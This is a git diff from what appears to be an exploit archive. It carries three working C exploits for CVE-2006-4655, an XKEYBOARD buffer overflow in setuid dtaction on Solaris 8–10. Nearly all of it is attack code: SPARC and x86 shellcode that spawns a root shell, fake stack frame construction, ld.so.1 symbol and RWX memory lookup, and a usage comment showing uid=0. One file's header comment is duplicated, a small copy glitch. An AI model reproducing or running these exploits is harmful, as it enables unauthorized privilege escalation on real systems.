-            if(flags&MA_STACK) continue;
-            addr=(void *)map.pr_vaddr;
-        }
-    }
-
-    fclose(fp);
-
-    return addr;
-}
-
-int main(int argc,char **argv){
-    char buf[8192],display[256],platform[256],addr[8][4],*envp[6],*p;
-    int base,offset,i,flag=0;
-
-    printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC\n");
-    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
-
-    if(argc!=3){
-        fprintf(stderr,"usage: %s sprintf|strcpy xserver:display\n",argv[0]);
-        exit(EXIT_FAILURE);
-    }
-
-    if(!strcmp(argv[1],"sprintf")) flag=1;
-    if(!strcmp(argv[1],"strcpy")) flag=2;
-
-    if(!flag){
-        fprintf(stderr,"usage: %s sprintf|strcpy xserver:display\n",argv[0]);
-        exit(EXIT_FAILURE);
-    }
-
-    snprintf(display,sizeof(display),"DISPLAY=%s",argv[2]);
-
-    if(sysinfo(SI_PLATFORM,platform,sizeof(platform))==-1){
-        perror("sysinfo");
-        exit(EXIT_FAILURE);
-    }
-
-    base=((int)argv[0]|0xffff);
-    base++;
-
-    offset=ARGSIZE+ENVSIZE+PFMSIZE+PRGSIZE;
-    PAD(offset,1,sizeof(envp)-1);
-
-    *((int *)addr[0])=base-offset+ARGSIZE+BUFSIZE;
-    *((int *)addr[1])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE;
-    *((int *)addr[2])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE+ADRSIZE;
-
-    switch(flag){
-    case 1: *((int *)addr[3])=(int)find_symbol("sprintf")-4; break;
-    case 2: *((int *)addr[3])=(int)find_symbol("strcpy")-4;
-    }
-
-    *((int *)addr[4])=(int)find_rwxmem()+4;
-    *((int *)addr[5])=*((int *)addr[4])-8;
-
-    p=buf;
-    sprintf(p,"_XKB_CHARSET=");
-    p=buf+13;
-    for(i=0;i<256;i++) *p++='A';
-    for(i=0;i<66;i++) *p++=addr[1][i%4];
-    *p='\0';
-
-    memcpy(buf+13+256+56,addr[0],4);
-    memcpy(buf+13+256+60,addr[3],4);
-
-    p=buf+1024;;
-    for(i=0;i<(FRMSIZE-1);i++) *p++=addr[1][i%4];
-    *p='\0';
-
-    memcpy(buf+1024+32,addr[4],4);
-    memcpy(buf+1024+36,addr[2],4);
-    memcpy(buf+1024+60,addr[5],4);
-
-    p=buf+2048;
-    for(i=0;i<(ADRSIZE-1);i++) *p++=addr[1][i%4];
-    *p='\0';
-
-    envp[0]=&buf[0];
-    envp[1]=&buf[1024];
-    envp[2]=&buf[2048];
-    envp[3]=shellcode;
-    envp[4]=display;
-    envp[5]=NULL;
-
-    execle("/usr/dt/bin/dtaction","AAAAAAA",0,envp);
-
-    exit(EXIT_FAILURE);
-}
-
-// milw0rm.com [2006-09-08]
+/*
+ *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC
+ *  Copyright 2006 RISE Security <contact@risesecurity.org>,
+ *  Ramon de Carvalho Valle <ramon@risesecurity.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+
+/*
+ *  Compile with the following command.
+ *  $ (g)cc -Wall -ldl -o sol-sparc-xkb sol-sparc-xkb.c
+ *
+ *  Set the DISPLAY environment variable to a X Window System server with
+ *  XKEYBOARD extension enabled.
+ *  $ ./sol-sparc-xkb sprintf|strcpy xserver:display
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <link.h>
+#include <sys/systeminfo.h>
+#include <procfs.h>
+
+#define BUFSIZE 13+256+64+2+1
+#define FRMSIZE 64+3+1
+#define ADRSIZE 2047+1
+#define SHLSIZE strlen(shellcode)+1
+#define DSPSIZE strlen(display)+1
+#define ARGSIZE 7+1
+#define ENVSIZE BUFSIZE+FRMSIZE+ADRSIZE+SHLSIZE+DSPSIZE
+#define PFMSIZE strlen(platform)+1
+#define PRGSIZE 20+1
+
+#define PAD(a,b,c) \
+    a+=((b+c)%2)?(((a%8)>4)?(16-(a%8)):(8-(a%8))):((a%8)?(12-(a%8)):4);
+
+char shellcode[]=           /*  60 bytes                          */
+    "\x90\x1a\x40\x09"      /*  xor     %o1,%o1,%o0               */
+    "\x82\x10\x20\x17"      /*  mov     0x17,%g1                  */
+    "\x91\xd0\x20\x08"      /*  ta      0x08                      */
+    "\x21\x0b\xd8\x9a"      /*  sethi   %hi(0x2f62696e),%l0       */
+    "\xa0\x14\x29\x6e"      /*  or      %l0,0x96e,%l0             */
+    "\x23\x0b\xdc\xda"      /*  sethi   %hi(0x2f736800),%l1       */
+    "\x90\x23\xa0\x08"      /*  sub     %sp,0x08,%o0              */
+    "\x92\x23\xa0\x10"      /*  sub     %sp,0x10,%o1              */
+    "\x94\x1a\x80\x0a"      /*  xor     %o2,%o2,%o2               */
+    "\xe0\x23\xbf\xf8"      /*  st      %l0,[%sp-0x08]            */
+    "\xe2\x23\xbf\xfc"      /*  st      %l1,[%sp-0x04]            */
+    "\xd0\x23\xbf\xf0"      /*  st      %o0,[%sp-0x10]            */
+    "\xc0\x23\xbf\xf4"      /*  st      %g0,[%sp-0x0c]            */
+    "\x82\x10\x20\x3b"      /*  mov     0x3b,%g1                  */
+    "\x91\xd0\x20\x08"      /*  ta      0x08                      */
+;
+
+void *find_symbol(const char *symbol){
+    void *handle,*addr;
+    char *err;
+
+    if((handle=dlmopen(LM_ID_LDSO,NULL,RTLD_LAZY))==NULL){
+        fprintf(stderr,"%s\n",dlerror());
+        exit(EXIT_FAILURE);
+    }
+
+    dlerror();
+    addr=dlsym(handle,symbol);
+    if((err=dlerror())!=NULL){
+        fprintf(stderr,"%s\n",err);
+        exit(EXIT_FAILURE);
+    }
+
+    dlclose(handle);
+
+    return addr;
+}
+
+void *find_rwxmem(void){
+    FILE *fp;
+    prmap_t map;
+    int flags;
+    void *addr;
+
+    if((fp=fopen("/proc/self/map","rb"))==NULL){
+        perror("fopen");
+        exit(EXIT_FAILURE);
+    }
+
+    while(fread(&map,sizeof(map),1,fp)){
+        flags=map.pr_mflags;
+
+        if((flags&(MA_READ|MA_WRITE|MA_EXEC))==(MA_READ|MA_WRITE|MA_EXEC)){
+            if(flags&MA_STACK) continue;
+            addr=(void *)map.pr_vaddr;
+        }
+    }
+
+    fclose(fp);
+
+    return addr;
+}
+
+int main(int argc,char **argv){
+    char buf[8192],display[256],platform[256],addr[8][4],*envp[6],*p;
+    int base,offset,i,flag=0;
+
+    printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC\n");
+    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
+
+    if(argc!=3){
+        fprintf(stderr,"usage: %s sprintf|strcpy xserver:display\n",argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    if(!strcmp(argv[1],"sprintf")) flag=1;
+    if(!strcmp(argv[1],"strcpy")) flag=2;
+
+    if(!flag){
+        fprintf(stderr,"usage: %s sprintf|strcpy xserver:display\n",argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    snprintf(display,sizeof(display),"DISPLAY=%s",argv[2]);
+
+    if(sysinfo(SI_PLATFORM,platform,sizeof(platform))==-1){
+        perror("sysinfo");
+        exit(EXIT_FAILURE);
+    }
+
+    base=((int)argv[0]|0xffff);
+    base++;
+
+    offset=ARGSIZE+ENVSIZE+PFMSIZE+PRGSIZE;
+    PAD(offset,1,sizeof(envp)-1);
+
+    *((int *)addr[0])=base-offset+ARGSIZE+BUFSIZE;
+    *((int *)addr[1])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE;
+    *((int *)addr[2])=base-offset+ARGSIZE+BUFSIZE+FRMSIZE+ADRSIZE;
+
+    switch(flag){
+    case 1: *((int *)addr[3])=(int)find_symbol("sprintf")-4; break;
+    case 2: *((int *)addr[3])=(int)find_symbol("strcpy")-4;
+    }
+
+    *((int *)addr[4])=(int)find_rwxmem()+4;
+    *((int *)addr[5])=*((int *)addr[4])-8;
+
+    p=buf;
+    sprintf(p,"_XKB_CHARSET=");
+    p=buf+13;
+    for(i=0;i<256;i++) *p++='A';
+    for(i=0;i<66;i++) *p++=addr[1][i%4];
+    *p='\0';
+
+    memcpy(buf+13+256+56,addr[0],4);
+    memcpy(buf+13+256+60,addr[3],4);
+
+    p=buf+1024;;
+    for(i=0;i<(FRMSIZE-1);i++) *p++=addr[1][i%4];
+    *p='\0';
+
+    memcpy(buf+1024+32,addr[4],4);
+    memcpy(buf+1024+36,addr[2],4);
+    memcpy(buf+1024+60,addr[5],4);
+
+    p=buf+2048;
+    for(i=0;i<(ADRSIZE-1);i++) *p++=addr[1][i%4];
+    *p='\0';
+
+    envp[0]=&buf[0];
+    envp[1]=&buf[1024];
+    envp[2]=&buf[2048];
+    envp[3]=shellcode;
+    envp[4]=display;
+    envp[5]=NULL;
+
+    execle("/usr/dt/bin/dtaction","AAAAAAA",0,envp);
+
+    exit(EXIT_FAILURE);
+}
+
+// milw0rm.com [2006-09-08]
diff --git a/platforms/solaris/local/2331.c b/platforms/solaris/local/2331.c
index 8041821d6..ee5c2311d 100755
--- a/platforms/solaris/local/2331.c
+++ b/platforms/solaris/local/2331.c
@@ -1,92 +1,92 @@
-/*
- *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
- *  Copyright 2006 RISE Security <contact@risesecurity.org>,
-/*
- *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
- *  Copyright 2006 RISE Security <contact@risesecurity.org>,
- *  Ramon de Carvalho Valle <ramon@risesecurity.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- *
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define ADRSIZE 1024
-#define NOPSIZE 4096
-
-char shellcode[]=           /*  47 bytes                          */
-    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
-    "\x6a\x65"              /*  pushl   $0x65                     */
-    "\x89\xe6"              /*  movl    %esp,%esi                 */
-    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
-    "\xf6\x16"              /*  notb    (%esi)                    */
-    "\x31\xc0"              /*  xorl    %eax,%eax                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\xb0\x17"              /*  movb    $0x17,%al                 */
-    "\xff\xd6"              /*  call    *%esi                     */
-    "\x31\xc0"              /*  xorl    %eax,%eax                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x68\x2f\x6b\x73\x68"  /*  pushl   $0x68736b2f               */
-    "\x68\x2f\x62\x69\x6e"  /*  pushl   $0x6e69622f               */
-    "\x89\xe3"              /*  movl    %esp,%ebx                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x53"                  /*  pushl   %ebx                      */
-    "\x89\xe1"              /*  movl    %esp,%ecx                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x51"                  /*  pushl   %ecx                      */
-    "\x53"                  /*  pushl   %ebx                      */
-    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
-    "\xff\xd6"              /*  call    *%esi                     */
-;
-
-int main(int argc,char **argv){
-    char buf[8192],display[256],addr[4],*envp[4],*p;
-    int i;
-
-    printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86\n");
-    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
-
-    if(argc!=2){
-        fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
-        exit(EXIT_FAILURE);
-    }
-
-    snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
-
-    *((unsigned int *)addr)=(unsigned int)buf+256+1024+2048+1;
-
-    p=buf;
-    sprintf(p,"_XKB_CHARSET=");
-    p=buf+13;
-    for(i=0;i<256;i++) *p++='A';
-    for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
-    for(i=0;i<NOPSIZE;i++) *p++='\x90';
-    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
-    *p='\0';
-
-    envp[0]=buf;
-    envp[1]=display;
-    envp[2]=NULL;
-
-    execle("/usr/dt/bin/dtaction","dtaction",0,envp);
-
-    exit(EXIT_FAILURE);
-}
-
-// milw0rm.com [2006-09-08]
+/*
+ *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
+ *  Copyright 2006 RISE Security <contact@risesecurity.org>,
+/*
+ *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86
+ *  Copyright 2006 RISE Security <contact@risesecurity.org>,
+ *  Ramon de Carvalho Valle <ramon@risesecurity.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define ADRSIZE 1024
+#define NOPSIZE 4096
+
+char shellcode[]=           /*  47 bytes                          */
+    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
+    "\x6a\x65"              /*  pushl   $0x65                     */
+    "\x89\xe6"              /*  movl    %esp,%esi                 */
+    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
+    "\xf6\x16"              /*  notb    (%esi)                    */
+    "\x31\xc0"              /*  xorl    %eax,%eax                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\xb0\x17"              /*  movb    $0x17,%al                 */
+    "\xff\xd6"              /*  call    *%esi                     */
+    "\x31\xc0"              /*  xorl    %eax,%eax                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x68\x2f\x6b\x73\x68"  /*  pushl   $0x68736b2f               */
+    "\x68\x2f\x62\x69\x6e"  /*  pushl   $0x6e69622f               */
+    "\x89\xe3"              /*  movl    %esp,%ebx                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x53"                  /*  pushl   %ebx                      */
+    "\x89\xe1"              /*  movl    %esp,%ecx                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x51"                  /*  pushl   %ecx                      */
+    "\x53"                  /*  pushl   %ebx                      */
+    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
+    "\xff\xd6"              /*  call    *%esi                     */
+;
+
+int main(int argc,char **argv){
+    char buf[8192],display[256],addr[4],*envp[4],*p;
+    int i;
+
+    printf("X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 x86\n");
+    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
+
+    if(argc!=2){
+        fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
+
+    *((unsigned int *)addr)=(unsigned int)buf+256+1024+2048+1;
+
+    p=buf;
+    sprintf(p,"_XKB_CHARSET=");
+    p=buf+13;
+    for(i=0;i<256;i++) *p++='A';
+    for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
+    for(i=0;i<NOPSIZE;i++) *p++='\x90';
+    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
+    *p='\0';
+
+    envp[0]=buf;
+    envp[1]=display;
+    envp[2]=NULL;
+
+    execle("/usr/dt/bin/dtaction","dtaction",0,envp);
+
+    exit(EXIT_FAILURE);
+}
+
+// milw0rm.com [2006-09-08]
diff --git a/platforms/solaris/local/2360.c b/platforms/solaris/local/2360.c
index 7da4c05b2..5214a53d1 100755
--- a/platforms/solaris/local/2360.c
+++ b/platforms/solaris/local/2360.c
@@ -1,329 +1,329 @@
-/*
- * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
- *
- * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
- * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
- *
- * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 
- * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 
- * Solaris 8 through 10, allows local users to gain privileges via a long 
- * _XKB_CHARSET environment variable value (CVE-2006-4655).
- *
- * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
- *
- * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 
- * required additional efforts: for some obscure reason traditional return 
- * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must 
- * be used instead of strcpy() (some new security measures were apparently
- * introduced to prevent exploitation), and the ld.so.1 memory space is a
- * bit changed. In order for this exploit to work, the X Window System server 
- * DISPLAY specified as argument must have the XKEYBOARD extension enabled.
- *
- * Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra
- * <filipe_balestra@hotmail.com>, who discovered this vulnerability, and
- * to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.
- *
- * Usage:
- * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
- * [on your xserver: disable the access control]
- * $ ./raptor_xkb 192.168.1.1:0
- * # id
- * uid=0(root) gid=10(staff) egid=3(sys)
- * #
- *
- * Vulnerable platforms:
- * Solaris 8 without patch 119067-03 [tested]
- * Solaris 9 without patch 112785-56 [tested]
- * Solaris 10 without patch 119059-16 [tested]
- */
-
-#include <dlfcn.h>
-#include <fcntl.h>
-#include <link.h>
-#include <procfs.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <strings.h>
-#include <unistd.h>
-#include <sys/systeminfo.h>
-
-#define	INFO1	"raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
-#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
-
-#define	VULN	"/usr/dt/bin/dtaction"		// default setuid target
-//#define VULN	"/usr/dt/bin/dtprintinfo"
-//#define VULN	"/usr/dt/bin/dtsession"
-
-#define	BUFSIZE 1024				// size of the evil buffer
-#define	VARSIZE	2048				// size of the evil env var
-#define	FFSIZE	64 + 1				// size of the fake frame
-#define	DUMMY	0xdeadbeef			// dummy memory address
-
-/* voodoo macros */
-#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
-#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}
-
-char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
-/* double setuid() is needed by dtprintinfo and dtsession */
-"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
-"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
-/* execve() */
-"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
-"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
-"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
-
-/* globals */
-char	*env[256];
-int	env_pos = 0, env_len = 0;
-
-/* prototypes */
-int	add_env(char *string);
-void	check_zero(int addr, char *pattern);
-int	search_ldso(char *sym);
-int	search_rwx_mem(void);
-void	set_val(char *buf, int pos, int val);
-
-/*
- * main()
- */
-int main(int argc, char **argv)
-{
-	char	buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
-	char	platform[256], release[256], display[256];
-	int	i, offset, ff_addr, sc_addr;
-	int	plat_len, prog_len, rel;
-
-	char	*arg[2] = {"foo", NULL};
-	int	arg_len = 4, arg_pos = 1;
-
-	int	ret, rwx_mem;
-
-	/* get the stack base */
-	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
-
-	/* print exploit information */
-	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
-
-	/* read command line */
-	if (argc != 2) {
-		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
-		exit(2);
-	}
-	sprintf(display, "DISPLAY=%s", argv[1]);
-
-	/* get some system information */
-	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
-	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
-	rel = atoi(release + 2);
-
-	/* get the address of strcpy() or sprintf() in ld.so.1 */
-	ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));
-
-	/* get the address of RWX memory segment inside ld.so.1 */
-	rwx_mem = search_rwx_mem();
-
-	/* prepare the evil buffer */
-	memset(buf, 'A', sizeof(buf));
-	buf[sizeof(buf) - 1] = 0x0;
-	memcpy(buf, "_XKB_CHARSET=", 13);
-
-	/* prepare the evil env var */
-	memset(var, 'B', sizeof(var));
-	var[sizeof(var) - 1] = 0x0;
-
-	/* prepare the fake frame */
-	bzero(ff, sizeof(ff));
-
-	/* 
-	 * saved %l registers
-	 */
-	set_val(ff, i  = 0, DUMMY);		/* %l0 */
-	set_val(ff, i += 4, DUMMY);		/* %l1 */
-	set_val(ff, i += 4, DUMMY);		/* %l2 */
-	set_val(ff, i += 4, DUMMY);		/* %l3 */
-	set_val(ff, i += 4, DUMMY);		/* %l4 */
-	set_val(ff, i += 4, DUMMY);		/* %l5 */
-	set_val(ff, i += 4, DUMMY);		/* %l6 */
-	set_val(ff, i += 4, DUMMY);		/* %l7 */
-
-	/*
-	 * saved %i registers
-	 */
-	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to function */
-	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to function */
-	set_val(ff, i += 4, DUMMY);		/* %i2 */
-	set_val(ff, i += 4, DUMMY);		/* %i3 */
-	set_val(ff, i += 4, DUMMY);		/* %i4 */
-	set_val(ff, i += 4, DUMMY);		/* %i5 */
-	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
-	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */
-
-	/* fill the envp, keeping padding */
-	sc_addr = add_env(ff);
-	add_env(sc);
-	add_env(display);
-	add_env(buf);
-	add_env(var);
-	add_env(NULL);
-
-	/* calculate the offset to argv[0] (voodoo magic) */
-	plat_len = strlen(platform) + 1;
-	prog_len = strlen(VULN) + 1;
-	offset = arg_len + env_len + plat_len + prog_len;
-	if (rel > 7)
-		VOODOO64(offset, arg_pos, env_pos)
-	else
-		VOODOO32(offset, plat_len, prog_len)
-
-	/* calculate the needed addresses */
-	ff_addr = sb - offset + arg_len;
-	sc_addr += ff_addr;
-
-	/* set fake frame's %i1 */
-	set_val(ff, 36, sc_addr);		/* 2nd arg to function */
-
-	/* fill the evil buffer */
-	for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 
-		set_val(buf, i, sb - 2048);
-	/* we don't need to bruteforce */
-	set_val(buf, 13 + 256 + 56, ff_addr);	/* fake frame address */
-	set_val(buf, 13 + 256 + 60, ret - 4);	/* function, after the save */
-
-	/* fill the evil env var */
-	for (i = 0; i < VARSIZE - 8; i += 4)
-		set_val(var, i, sb - 2048);
-
-	/* print some output */
-	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
-	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
-	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
-	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
-	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
-	fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);
-
-	/* run the vulnerable program */
-	execve(VULN, arg, env);
-	perror("execve");
-	exit(0);
-}
-
-/*
- * add_env(): add a variable to envp and pad if needed
- */
-int add_env(char *string)
-{
-	int	i;
-
-	/* null termination */
-	if (!string) {
-		env[env_pos] = NULL;
-		return(env_len);
-	}
-
-	/* add the variable to envp */
-	env[env_pos] = string;
-	env_len += strlen(string) + 1;
-	env_pos++;
-
-	/* pad the envp using zeroes */
-	if ((strlen(string) + 1) % 4)
-		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
-			env[env_pos] = string + strlen(string);
-			env_len++;
-		}
-
-	return(env_len);
-}
-
-/*
- * check_zero(): check an address for the presence of a 0x00
- */
-void check_zero(int addr, char *pattern)
-{
-	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
-	    !(addr & 0xff000000)) {
-		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
-		exit(1);
-	}
-}
-
-/*
- * search_ldso(): search for a symbol inside ld.so.1
- */
-int search_ldso(char *sym)
-{
-	int		addr;
-	void		*handle;
-	Link_map	*lm;
-
-	/* open the executable object file */
-	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
-		perror("dlopen");
-		exit(1);
-	}
-
-	/* get dynamic load information */
-	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
-		perror("dlinfo");
-		exit(1);
-	}
-
-	/* search for the address of the symbol */
-	if ((addr = (int)dlsym(handle, sym)) == NULL) {
-		fprintf(stderr, "sorry, function %s() not found\n", sym);
-		exit(1);
-	}
-
-	/* close the executable object file */
-	dlclose(handle);
-
-	check_zero(addr - 4, sym);
-	check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
-	return(addr);
-}
-
-/*
- * search_rwx_mem(): search for an RWX memory segment valid for all
- * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
- */
-int search_rwx_mem(void)
-{
-	int	fd;
-	char	tmp[16];
-	prmap_t	map;
-	int	addr = 0;
-
-	/* open the proc filesystem */
-	sprintf(tmp,"/proc/%d/map", (int)getpid());
-	if ((fd = open(tmp, O_RDONLY)) < 0) {
-		fprintf(stderr, "can't open %s\n", tmp);
-		exit(1);
-	}
-
-	/* search for the last RWX memory segment before stack */
-	while (read(fd, &map, sizeof(map)))
-		if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
-			addr = map.pr_vaddr;
-	close(fd);
-
-	/* add 4 to the exact address NULL bytes */
-	if (!(addr & 0xff))
-		addr |= 0x04;
-	if (!(addr & 0xff00))
-		addr |= 0x0400;
-
-	return(addr);
-}
-
-/*
- * set_val(): copy a dword inside a buffer
- */
-void set_val(char *buf, int pos, int val)
-{
-	buf[pos] =	(val & 0xff000000) >> 24;
-	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
-	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
-	buf[pos + 3] =	(val & 0x000000ff);
-}
-
-// milw0rm.com [2006-09-13]
+/*
+ * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
+ *
+ * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
+ * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 
+ * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 
+ * Solaris 8 through 10, allows local users to gain privileges via a long 
+ * _XKB_CHARSET environment variable value (CVE-2006-4655).
+ *
+ * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
+ *
+ * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 
+ * required additional efforts: for some obscure reason traditional return 
+ * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must 
+ * be used instead of strcpy() (some new security measures were apparently
+ * introduced to prevent exploitation), and the ld.so.1 memory space is a
+ * bit changed. In order for this exploit to work, the X Window System server 
+ * DISPLAY specified as argument must have the XKEYBOARD extension enabled.
+ *
+ * Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra
+ * <filipe_balestra@hotmail.com>, who discovered this vulnerability, and
+ * to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.
+ *
+ * Usage:
+ * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
+ * [on your xserver: disable the access control]
+ * $ ./raptor_xkb 192.168.1.1:0
+ * # id
+ * uid=0(root) gid=10(staff) egid=3(sys)
+ * #
+ *
+ * Vulnerable platforms:
+ * Solaris 8 without patch 119067-03 [tested]
+ * Solaris 9 without patch 112785-56 [tested]
+ * Solaris 10 without patch 119059-16 [tested]
+ */
+
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <link.h>
+#include <procfs.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/systeminfo.h>
+
